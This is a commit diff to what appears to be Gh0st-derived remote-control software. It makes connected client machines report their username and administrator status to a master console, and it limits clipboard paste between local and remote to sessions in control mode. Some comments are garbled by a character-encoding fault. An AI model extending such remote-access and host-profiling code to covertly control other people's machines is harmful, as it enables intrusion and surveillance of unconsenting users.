Feature&fix: Show username on master program
This commit is contained in:
@@ -199,6 +199,7 @@ int main(int argc, const char *argv[])
|
||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||||
CloseHandle(hMutex);
|
||||
hMutex = NULL;
|
||||
#ifndef _DEBUG
|
||||
return -2;
|
||||
#endif
|
||||
|
||||
@@ -261,6 +261,19 @@ std::string GetCurrentExeVersion()
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
|
||||
std::string GetCurrentUserNameA() {
|
||||
char username[256];
|
||||
DWORD size = sizeof(username);
|
||||
|
||||
if (GetUserNameA(username, &size)) {
|
||||
return std::string(username);
|
||||
}
|
||||
else {
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
{
|
||||
LOGIN_INFOR LoginInfor;
|
||||
@@ -338,6 +351,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
LoginInfor.AddReserved(loc.c_str());
|
||||
LoginInfor.AddReserved(pubIP.c_str());
|
||||
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
|
||||
BOOL IsRunningAsAdmin();
|
||||
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
|
||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
@@ -767,6 +767,8 @@ enum LOGIN_RES {
|
||||
RES_CLIENT_LOC = 10, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
RES_CLIENT_PUBIP = 11, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
|
||||
RES_EXE_VERSION = 12, // EXE<58>汾
|
||||
RES_USERNAME = 13, // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
RES_ISADMIN = 14, // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD>ԱȨ<D4B1><C8A8>
|
||||
RES_MAX,
|
||||
};
|
||||
|
||||
|
||||
@@ -2302,7 +2302,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
try {
|
||||
strIP = ContextObject->GetPeerName().c_str();
|
||||
// 不合法的数据包
|
||||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) {
|
||||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
|
||||
Mprintf(buf);
|
||||
@@ -3049,9 +3049,10 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
CString strText;
|
||||
std::string expired = res[RES_EXPIRED_DATE];
|
||||
expired = expired.empty() ? "" : " Expired on " + expired;
|
||||
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s\r\n上线信息: %s %d %s"),
|
||||
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s %s%s\r\n上线信息: %s %d %s"),
|
||||
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION],
|
||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
|
||||
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]",
|
||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str());
|
||||
|
||||
// 获取鼠标位置
|
||||
@@ -3583,6 +3584,11 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
||||
if (dlg)
|
||||
{
|
||||
if (dlg == operateWnd)break;
|
||||
auto screen = (CScreenSpyDlg*)dlg;
|
||||
if (!screen->m_bIsCtrl) {
|
||||
Mprintf("【Ctrl+V】 [本地 -> 远程] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||||
break;
|
||||
}
|
||||
// [1] 本地 -> 远程
|
||||
auto files = GetClipboardFiles();
|
||||
if (!files.empty())
|
||||
@@ -3609,6 +3615,11 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
||||
}
|
||||
else if (g_2015RemoteDlg->m_pActiveSession)
|
||||
{
|
||||
auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->m_pActiveSession);
|
||||
if (!screen->m_bIsCtrl) {
|
||||
Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||||
break;
|
||||
}
|
||||
// [2] 远程 -> 本地
|
||||
BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
|
||||
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||||
|
||||
Reference in New Issue
Block a user